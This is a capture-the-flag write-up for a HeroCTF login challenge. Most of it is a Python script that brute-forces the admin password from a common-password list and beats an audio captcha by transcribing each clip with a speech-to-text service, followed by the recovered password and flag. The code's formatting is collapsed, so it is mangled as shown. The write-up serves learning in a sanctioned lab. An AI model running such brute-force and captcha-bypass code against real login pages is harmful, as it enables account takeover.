As the main page suggests, the username is `admin`, and the password is from [the 500 worst passwords](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/500-worst-passwords.txt).The only problem is captcha.
A captcha here is an audio file with some digits pronounced in it. Luckily, there'remany speech-to-text solutions that can help to break it. I used a free service [Wit.ai](https://wit.ai/)through [SpeechRecognition package](https://pypi.org/project/SpeechRecognition/), but you may choose other supportedrecognizers, including `CMU Sphinx` or custom Tensorflow model (both can work offline).
1) Install necessary dependencies:```pip3 install beautifulsoup4 requests pydub SpeechRecognition```
2) Set and access token and run the exploit:```% cat brute_sounds.pyimport requestsfrom bs4 import BeautifulSoupfrom urllib.parse import unquoteimport base64import tempfileimport speech_recognition as srfrom tqdm import tqdmfrom pydub import AudioSegmentimport re
rec = sr.Recognizer()
# create an app at wit.ai (it's free), insert it's access token hereWIT_AI_KEY = '...'
def decode(input):    """"'123' -> '123'"""    if re.fullmatch('[0-9]+', input):        return input
    """"'one two three' -> '123'"""    result = ''    for e in input.split():        if e == 'zero':            result += '0'        elif e == 'one':            result += '1'        elif e == 'two':            result += '2'        elif e == 'three':            result += '3'        elif e == 'four':            result += '4'        elif e == 'five':            result += '5'        elif e == 'six':            result += '6'        elif e == 'seven':            result += '7'        elif e == 'eight':            result += '8'        elif e == 'nine':            result += '9'        else:            raise Exception('unknown word `{}`'.format(e))    return result
def get_passwords():    r = requests.get("https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/500-worst-passwords.txt")    r.raise_for_status()    return r.text.split()
def try_password(password, username='admin'):    print('trying `{}`'.format(password))    s = requests.Session()     while True:        r = s.get("http://chall3.heroctf.fr:8082/login")        r.raise_for_status()         soup = BeautifulSoup(r.text, features="html5lib")        captcha = unquote(soup.find_all('source')[0]['src'].split('data:audio/mp3;base64,')[-1])        captcha_rawdata = base64.decodebytes(captcha.encode())         with tempfile.NamedTemporaryFile(suffix='.mp3', delete=True) as ftemp_mp3:            ftemp_mp3.write(captcha_rawdata)            ftemp_mp3.flush()            """ Converting to WAV because MP3 is not supported by the recognizer """            with tempfile.NamedTemporaryFile(suffix='.wav', delete=True) as ftemp_wav:                sound = AudioSegment.from_mp3(ftemp_mp3.name)                sound.export(ftemp_wav.name, format="wav")                 with sr.AudioFile(ftemp_wav.name) as source:                        audio = rec.record(source)
        try:            words_result = rec.recognize_wit(audio, WIT_AI_KEY)            result = decode(words_result)
            print('recognized `{}` as `{}`'.format(words_result, result))
            r = s.post("http://chall3.heroctf.fr:8082/login", data={                'username': username,                'password': password,                'pincode': result            })            r.raise_for_status()
            soup = BeautifulSoup(r.text, features="html5lib")            errors = soup.find_all('p', {'class': 'status'})            if not errors:                return True            status = errors[-1].contents[0]            print(status)
            if status == 'Invalid pincode':                continue
            if status == 'Invalid login or password':                return False
            return True        except Exception as e:            print('Error {}, retrying'.format(e))
if __name__ == '__main__':    passwords = get_passwords()    for p in tqdm(passwords):        if try_password(p):            print('Bingo, password is `{}`'.format(p))            exit()
% python3 brute_sounds.py... one hour later ...Bingo, password is `tomcat````
3) Log in with username `admin`, password `tomcat` and capture the flag:![](https://i.imgur.com/lr319DH.png)
The flag is `Hero{4_bit_of_s4lt_with_y0ur_TTS}`.